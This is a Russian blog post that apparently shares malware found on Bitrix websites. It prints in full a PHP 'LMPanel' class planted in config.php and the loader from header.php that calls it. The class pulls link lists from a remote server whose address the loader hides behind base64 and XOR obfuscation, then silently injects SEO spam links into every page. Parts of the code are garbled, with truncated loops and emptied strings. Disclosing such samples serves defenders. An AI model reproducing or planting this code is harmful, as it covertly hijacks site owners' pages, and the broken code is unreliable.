Коллекция вирусов которые находил на своих сайтах на битриксе. config.php часть 3

$iLdxy="config.php

class lmp_base {

     var $lmp_version            = '3.03';

     var $lmp_charset            = 'windows-1251';

     var $lmp_cache_lifetime     = 3600;     //Время жизни кеша (через сколько времени обновлять)

     var $lmp_cache_reloadtime   = 15;     // Если скачать базу ссылок не удалось, то следующая попытка будет через столько секунд

     var $lmp_links_db_file      = '';

     var $lmp_error              = '';

     var $lmp_error_desplay      = false;

     var $lmp_request_uri        = '';

     var $lmp_multi_site         = false;

     var $lmp_server             = '';

     var $lmp_host_connect_type  = 'file_get_contents';  // Способ подключения к серверу [file_get_contents|curl|socket]

     var $lmp_socket_timeout     = 10;       // Сколько ждать ответа от сервера

     var $lmp_host               = '';
     
     var $lmp_is_our_bot         = false;           
     
     var $lmp_showedtag          = false;
     
     var $lmp_check_code				 = false;   //Показывать или нет проверочный код !-- LMP --, для проверки правильности установки кода
     
     function lmp_base($opts = null){

          if(is_array($opts)){
              if(isset($opts['host']))$this->lmp_host=$opts['host'];
          }
          elseif(strlen($opts)){
             $this->lmp_server=$opts;
             $opts=array();
          }
          else {
             $this->lmp_host='';
             $opts=array();
          }

          if ($this->lmp_host == '')$this->lmp_host = $_SERVER['HTTP_HOST'];

          $this->lmp_host = strtr(strtr($this->lmp_host, array('www.'=>'')), array('http://'=>''));
          
          if (isset($opts['server']) && strlen($opts['server']))$this->lmp_server = $opts['server'];

          if (isset($opts['request_uri']) && strlen($opts['request_uri']))$this->lmp_request_uri = $opts['request_uri'];
          else $this->lmp_request_uri = $_SERVER['REQUEST_URI'];

          if (isset($opts['multi_site']) && $opts['multi_site'] == true)$this->lmp_multi_site = true;

          if (isset($opts['error_desplay']) && $opts['error_desplay'] == true)$this->lmp_error_desplay = true;

          if (isset($opts['host_connect_type']) && strlen($opts['host_connect_type']))$this->lmp_host_connect_type = $opts['host_connect_type'];

          if (isset($opts['socket_timeout'])){
             if(preg_match("/^[0-9]+$/si", $opts['socket_timeout'])){
                if($opts['socket_timeout']>0)$this->lmp_socket_timeout = $opts['socket_timeout'];
             }
          }
          
          if(isset($opts['check_code'])){
          	if($opts['check_code']==true or $opts['check_code']==false)$this->lmp_check_code = $opts['check_code'];
          }

	        // Определяем наш ли робот
	        if (isset($_SERVER['HTTP_USER_AGENT']) && ($_SERVER['HTTP_USER_AGENT'] == 'LMP_Robot')) {
	            $this->lmp_is_our_bot = true;
	        } else {
	            $this->lmp_is_our_bot = false;
	        }

          //$this->return_link_array();
     }

     //Считывание файла удаленно
     function get_file( $host, $path ){

          $user_agent = 'LMP_Client PHP ' . $this->lmp_version;
          
          @ini_set('allow_url_fopen',          1);
          @ini_set('default_socket_timeout',   $this->lmp_socket_timeout);
          @ini_set('user_agent',               $user_agent);

          if($this->lmp_host_connect_type=='file_get_contents'){
							//print 'http://' . $host . $path;
              if ($data = @file_get_contents('http://' . $host . $path)) {
                  return $data;
              }

          }

          elseif($this->lmp_host_connect_type=='curl'){

             if ($ch = @curl_init()) {
                 @curl_setopt($ch, CURLOPT_URL,              'http://' . $host . $path);
                 @curl_setopt($ch, CURLOPT_HEADER,           false);
                 @curl_setopt($ch, CURLOPT_RETURNTRANSFER,   true);
                 @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,   $this->lmp_socket_timeout);
                 @curl_setopt($ch, CURLOPT_USERAGENT,        $user_agent);

                 if ($data = curl_exec($ch)) {
                 	//print $data;
                     @curl_close($ch);
                     return $data;
                 }


                 @curl_close($ch);

             }

          }

          elseif($this->lmp_host_connect_type=='socket'){

             $c = '';
             $fp = @fsockopen('www.' . $host, 80, $errno, $errstr, $this->lmp_socket_timeout);
             if ($fp) {
                 @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
                 @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
                 while (!@feof($fp)) {
                     $c .= @fgets($fp, 128);
                 }
                 @fclose($fp);

                 $data = explode("\r\n\r\n", $c);

                 return $data[1];
             }

          }

          else {
              $this->raise_error('Неправильно указан способ подключения к серверу');
              return false;
          }

          return $this->raise_error('Невозможно подключиться к серверу... ' . $host . $path);

     }


     //Функция для чтения базы ссылок из кеша
     function lmp_read( $file ) {

        $fp = @fopen($file, 'rb');
        @flock($fp, LOCK_SH);
        if ($fp) {

             $length = @filesize($file);
             
             // $mqr = get_magic_quotes_runtime();
            // set_magic_quotes_runtime(0);
             if ($length) {
                 $data = @fread($fp, $length);
             } else {
                 $data = '';
             }
             //set_magic_quotes_runtime($mqr);
             @flock($fp, LOCK_UN);
             @fclose($fp);

             return $data;
         }

         return $this->raise_error('Невозможно считать данные из файла: ' . $file);
     }
     

     //Функция записи в локальный файл
     function lmp_write($filename, $data) {

        $fp = @fopen($filename, 'wb');
        if ($fp) {
            @flock($fp, LOCK_EX);
            $length = strlen($data);
            @fwrite($fp, $data, $length);
            @flock($fp, LOCK_UN);
            @fclose($fp);

            if (md5($this->lmp_read($filename)) != md5($data)) {
                return $this->raise_error('Нарушена целостность данных при записи в файл: ' . $filename);
            }

            return true;
        }

        return $this->raise_error('Не могу записать данные в файл: ' . $filename);
     }     
     
     //Отображение ошибок
     function raise_error($err) {

         $this->lmp_error = '

LMPanel error: '.$err.'

'; if ($this->lmp_error_desplay == true) { print $this->lmp_error; } return false; } function load_data(){ $this->lmp_links_db_file = $this->_get_db_file(); if(!is_file($this->lmp_links_db_file)){ if(@touch($this->lmp_links_db_file)){ chmod($this->lmp_links_db_file, 0666); } else return $this->raise_error('Невозможно создать файл ' . $this->lmp_links_db_file . '. Установите на дирректорию со ссылками права 777'); } if (!is_writable($this->lmp_links_db_file)) { return $this->raise_error('Нет доступа на запись к файлу: ' . $this->lmp_links_db_file . '! Выставите права 777 на папку.'); } if(filemtime($this->lmp_links_db_file) < (time()-$this->lmp_cache_lifetime) || filesize($this->lmp_links_db_file) == 0) { @touch($this->lmp_links_db_file, (time() - $this->lmp_cache_lifetime + $this->lmp_cache_reloadtime)); //$path = '/downlbase.php?host=' . urlencode($this->lmp_host); $path = $this->_get_dispenser_path(); if(preg_match("/\//si", $this->lmp_server)){ $path = preg_replace("/^[^\/]+(\/.+)$/si", "$1", $this->lmp_server).$path; $this->lmp_server = preg_replace("/^([^\/]+)\/.+$/si", "$1", $this->lmp_server); } if ($data = $this->get_file($this->lmp_server, $path)) { if (preg_match("/^FATAL ERROR:.+$/si", $data)) { $this->raise_error($data); } else { // [псевдо]проверка целостности: if (@unserialize($data) != false) { $this->lmp_write($this->lmp_links_db_file, $data); } } } } if (strlen(session_id())) { $session = session_name() . '=' . session_id(); $this->lmp_request_uri = preg_replace("/^(.+)[\?&]{1}".$session."$/si", "$1", $this->lmp_request_uri); } if ($data = $this->lmp_read($this->lmp_links_db_file)) { $unsData = @unserialize($data); $this->lmp_charset = $unsData['lmp_charset']; $this->set_data($unsData); } } } //Класс для ссылок class lmp_client extends lmp_base { var $lmp_links_page = array(); var $lmp_links = ''; var $lmp_links_delimiter = ''; var $lmp_blocks = 1; var $lmp_block_type = 1; var $lmp_block_info = Array(); function lmp_client($options = null) { parent::lmp_base($options); $this->load_data(); } //ссылки function print_links($block_id=''){ if($block_id == '')$block_id = 1; $html = ''; if (is_array($this->lmp_links_page) & sizeof($this->lmp_links_page)>0 & $this->lmp_is_our_bot==false) { if($this->lmp_charset != ''){ if(function_exists('iconv')){ foreach($this->lmp_links_page as $el){ // print $this->lmp_charset; $linkz[] = iconv("Windows-1251", $this->lmp_charset, $el); } } else { foreach($this->lmp_links_page as $el){ $linkz[] = @mb_convert_encoding($el, $this->lmp_charset, "Windows-1251"); } } } else $linkz = $this->lmp_links_page; if(isset($linkz)){ for($i=0; $ilmp_blocks): $n = $i; for($k=0; $k<$this->lmp_blocks; $k++): if(($k+1) == $block_id)$links[]=$linkz[$n]; $n++; endfor; endfor; } if(!is_array($links))$links[]=''; $links2 = $links; unset($links); foreach($links2 as $el=>$val){ if(trim($links2[$el])!='')$links[] = $links2[$el]; } if($this->lmp_block_type==1){ $html = @join($this->lmp_block_info['links_delimiter'], $links); } else { if(@count($links)>0){ $html = ''; if($this->lmp_block_info['chered']=='h')$html .= ""; foreach($links as $el){ $desc = strip_tags($el); $title = preg_replace("/^.{0,}]+>(.+)<\/a>.{0,}$/si", "$1", $el); $url = preg_replace("/^.{0,}lmp_block_info['chered']=='v')$html .= ""; $html .= ''; if($this->lmp_block_info['chered']=='v')$html .= ""; } if($this->lmp_block_info['chered']=='h')$html .= ""; $html .= '
'.$title.'
'.$desc.'
'.$url.'
'; } } } if(!$this->lmp_showedtag){ if($this->lmp_is_our_bot == true)$html.=''; elseif($this->lmp_check_code == true)$html.=''; $this->lmp_showedtag = true; } return $html; } //опции блока (Я.директ) function set_block_opts($width=100, $height='', $fsize=11, $chered=''){ if($this->lmp_block_type==2){ if($width!='')$this->lmp_block_info['width'] = $width; if($height!='')$this->lmp_block_info['height'] = $height; if($fsize!='')$this->lmp_block_info['fsize'] = $fsize; if($chered!='')$this->lmp_block_info['chered'] = $chered; } } function _get_db_file() { return dirname(__FILE__) . '/links.db'; } function _get_dispenser_path() { return '/downlbase.php?type=1&host=' . urlencode($this->lmp_host); } function set_data($data) { $this->lmp_links = $data; if (@array_key_exists($this->lmp_request_uri, $this->lmp_links) && is_array($this->lmp_links[$this->lmp_request_uri])) { $this->lmp_links_page = $this->lmp_links[$this->lmp_request_uri]; $this->lmp_links_delimiter = $this->lmp_links[$this->lmp_request_uri]; if(isset($this->lmp_links['lmp_block_info'])){ $this->lmp_block_type = $this->lmp_links['lmp_block_info']['type']; if($this->lmp_block_type == 1)$this->lmp_block_info = Array("links_delimiter"=>$this->lmp_links['lmp_block_info']['delimiter']); else { $this->lmp_block_info = Array("border"=>$this->lmp_links['lmp_block_info']['border'], "bg"=>$this->lmp_links['lmp_block_info']['bg'], "title"=>$this->lmp_links['lmp_block_info']['title'], "desc"=>$this->lmp_links['lmp_block_info']['desc'], "url"=>$this->lmp_links['lmp_block_info']['url'], "width"=>100, "height"=>100, "fsize"=>11, "chered"=>'h'); } } if(isset($this->lmp_links['lmp_blocks']))$this->lmp_blocks=$this->lmp_links['lmp_blocks']; } } } //Класс для контекста class lmp_context extends lmp_base { var $_stcs = array(); var $_stcs_page = array(); var $_filter_tags_todot = array('textarea', 'select'); //Тэги заменяющиеся на точку var $_filter_tags_tospace = array('a', 'script', 'style', 'label', 'noscript' , 'noindex', 'button'); //Заменяющиеся на пробел var $_isOutTags = false; function lmp_context($options = null) { parent::lmp_base($options); $this->load_data(); } //Замена слов в фрагменте текста function replace_in_text_segment($text){ //Убираем запрещенные тэги, если по сегментам идет if(!$this->_isOutTags){ $_filter_tags_todot2 = implode("|", $this->_filter_tags_todot); $_filter_tags_tospace2 = implode("|", $this->_filter_tags_tospace); $text = preg_replace("/\<(".$_filter_tags_todot2.")[^\>]{0,}\>(.*?)\<\/(".$_filter_tags_todot2.")\>/si", ".", $text); $text = preg_replace("/\<(".$_filter_tags_tospace2.")[^\>]{0,}\>(.*?)\<\/(".$_filter_tags_tospace2.")\>/si", "", $text); } //Если есть ссылки И если это не наш бот if(sizeof($this->_stcs_page)>0 & $this->lmp_is_our_bot==false){ $text = $this->txtToLTxt($text, &$this->_stcs_page); } //Если тэг еще не показывался if($this->lmp_showedtag==false){ // И если это наш бот if($this->lmp_is_our_bot==true)$text .= ""; //а также если проверка правильности установки elseif($this->lmp_check_code == true)$text .= ""; } //Если наш бот, то обрамляем текст if($this->lmp_is_our_bot==true)$text = "".$text.""; return $text; } //Замена слов в странице function replace_in_page(&$buffer) { //Если есть ссылки на данной странице if(sizeof($this->_stcs_page)>0){ //Если это не наш бот if($this->lmp_is_our_bot==false){ //Убираем запрещенные теги $_filter_tags_todot2 = implode("|", $this->_filter_tags_todot); $_filter_tags_tospace2 = implode("|", $this->_filter_tags_tospace); $this->_isOutTags = true; //разбиваем строку по lmp_index //Проверяем есть ли теги lmp_index $split_content = preg_split('/(?smi)(<\/?lmp_index>)/', $buffer, -1); $cnt_parts = count($split_content); if ($cnt_parts > 1){ //Если есть хоть одна пара lmp_index, то начинаем работу if ($cnt_parts >= 3){ for ($i =1; $i < $cnt_parts; $i = $i + 2){ $split_content[$i] = preg_replace("/\<(".$_filter_tags_todot2.")[^\>]{0,}\>(.*?)\<\/(".$_filter_tags_todot2.")\>/si", ".", $split_content[$i]); $split_content[$i] = preg_replace("/\<(".$_filter_tags_tospace2.")[^\>]{0,}\>(.*?)\<\/(".$_filter_tags_tospace2.")\>/si", "", $split_content[$i]); $split_content[$i] = $this->replace_in_text_segment($split_content[$i]); } } $buffer = implode('', $split_content); if ($this->_debug){ $buffer .= ''; } } else { //Если не нашли sape_index, то пробуем разбить по BODY $split_content = preg_split('/(?smi)(<\/?body[^>]*>)/', $buffer, -1, PREG_SPLIT_DELIM_CAPTURE); //Если нашли содержимое между body if (count($split_content) == 5){ $split_content[0] = $split_content[0].$split_content[1]; $split_content[1] = $this->replace_in_text_segment($split_content[2]); $split_content[2] = $split_content[3].$split_content[4]; unset($split_content[3]); unset($split_content[4]); $buffer = $split_content[0].$split_content[1].$split_content[2]; if ($this->_debug){ $buffer .= ''; } } else { //Если не нашли lmp_index и не смогли разбить по body if ($this->_debug){ $buffer .= ''; } } } } } else { if (!$this->lmp_is_our_bot && !$this->_debug){ $buffer = preg_replace('/(?smi)(<\/?lmp_index>)/','', $buffer); } if ($this->_debug){ $buffer .= ''; } } if($this->lmp_showedtag==false){ if($this->lmp_is_our_bot==true)$buffer .= ""; elseif($this->lmp_check_code == true)$buffer .= ""; $this->lmp_showedtag = true; } return $buffer; } function txtToLTxt($cont, $linksArr){ if($this->lmp_charset!='windows-1251')$cont = @iconv($this->lmp_charset, "windows-1251", $cont); foreach($linksArr as $i=>$link){ $linksArr[$i]['stc'] = preg_replace("/([\,\.\(\)\*\^\$\-\_\+\[\]\{\}\(\)\/\<\>])/si", "\\\\$1", $linksArr[$i]['stc']); } $allSntns = explode (".", preg_replace("/\<([^>]+?)\>/sie", "\"<\".strtr(\"$1\", array(\".\"=>\"[:dntchk:]\")).\">\"", preg_replace("/([\:\/\.a-z\-0-9]+)\.(ru|com|org|kz|net|pl|mobi|cc|biz|info|su|us|tel|tv)/sie", "strtr(\"$1[:dntchk:]$2\", array(\".\"=>\"[:dntchk:]\"))", preg_replace("/([^А-я])(тел|г|[0-9]+|ш?т|д|пр|ул|обл)\./si", "$1$2[:dntchk:]", $cont)))); //Проходимся по каждому предложению текста foreach($allSntns as $k=>$el){ $el = strtr($el, array("[:dntchk:]"=>".")); //$allSntns[$k] = strtr($allSntns[$k], array("[:dntchk:]"=>".")); //Перебираем каждую ссылку foreach($linksArr as $g=>$link){ //Если находим сравнение,то заменяем в нем ссылку if(preg_match("/".trim($link['stc'])."/si", $el)){ //Разделяем словосочетание на слова $txtToExpl = explode(" ", preg_replace("/([\,\.\(\)\*\^\$\-\_\+\[\]\{\}\(\)\/\<\>])/si", "\\\\$1", $link['words'])); $txt = ''; //Данное словосочетание преобразуем в понятный регуляркам вид, создаем переменные для замены for($i=0; $i0)$txt .= "(\<[^\>]+\>| |\n|\r|\s){0,}"; $txt .= "(".$txtToExpl[$i].")"; } //Смотрим урл, который будем ставить $url = explode("><", $link['link']); //Удаляем все теги и заменяем их именами tagToReplaceX, где X - номер тега //создаем массив с тегами preg_match_all("/(\<[^\>]+\>)/si", $allSntns[$k], $tagMatches); $tagsToRepl = array(); $tagsToReplSave = array(); $l = 0; foreach($tagMatches[1] as $tagg){ if(!in_array($tagg, $tagsToReplSave)){ $tagsToRepl[$tagg] = '[tagToReplace'.$l.']'; $l++; } } //заменяем теги на имена $allSntns[$k] = strtr($allSntns[$k], $tagsToRepl); $allSntns[$k] = strtr($allSntns[$k], array("[:dntchk:]"=>".")); //Делаем замену $allSntns[$k] = preg_replace("/(".$txt.")/si", $url[0].">$1<".$url[1], $allSntns[$k], 1); //заменяем именя обратно на теги $allSntns[$k] = strtr($allSntns[$k], array_flip($tagsToRepl)); //удаляем ссылку из массива unset($linksArr[$g]); if(sizeof($linksArr)==0)break; //Если закончились ссылки то выходим } } //Возвращаем точки обратно $allSntns[$k] = strtr($allSntns[$k], array("[:dntchk:]"=>".")); if(sizeof($linksArr)==0)break;//Если закончились ссылки } $mycont = (($this->lmp_charset!='windows-1251')?@iconv("windows-1251", $this->lmp_charset, implode(".", $allSntns)):implode(".", $allSntns)); $mycont = strtr($mycont, array("[:dntchk:]"=>".")); //Возвращаем контент соединяя точками. return $mycont; } function _get_db_file() { return dirname(__FILE__) . '/context.db'; } function _get_dispenser_path() { return '/downlbase.php?type=2&host=' . urlencode($this->lmp_host); } function set_data($data) { $this->_stcs = $data; if (@array_key_exists($this->lmp_request_uri, $this->_stcs) && is_array($this->_stcs[$this->lmp_request_uri])) { foreach($this->_stcs[$this->lmp_request_uri] as $el){ $this->_stcs_page[] = array("stc"=>$el['stc'], "words"=>$el['text'], "link"=>""); } //$this->_stcs_page = $this->_stcs[$this->lmp_request_uri]; } } }
Обычно встречается в следующих файлах:
  1. ./bitrix/config.php
Вызывается из файла /bitrix/templates/main/header.php


function strcode($str, $passw="")
{
   $salt = "Dn8*#2n!9j";
   $len = strlen($str);
   $gamma = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($gamma)<$len )
   {
      $gamma .= substr(pack('H*', sha1($passw.$gamma.$salt)), 0, $n);
   }
   return $str^$gamma;
}

    require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/config.php');
    $lmp = new lmp_client(strcode(base64_decode("LVcok7BBKHj04vnojMtd"), 'sdfdserttge'));


     

       print '';  
       print ' ';  

     

Комментариев нет :

Отправить комментарий

Поиск по этому блогу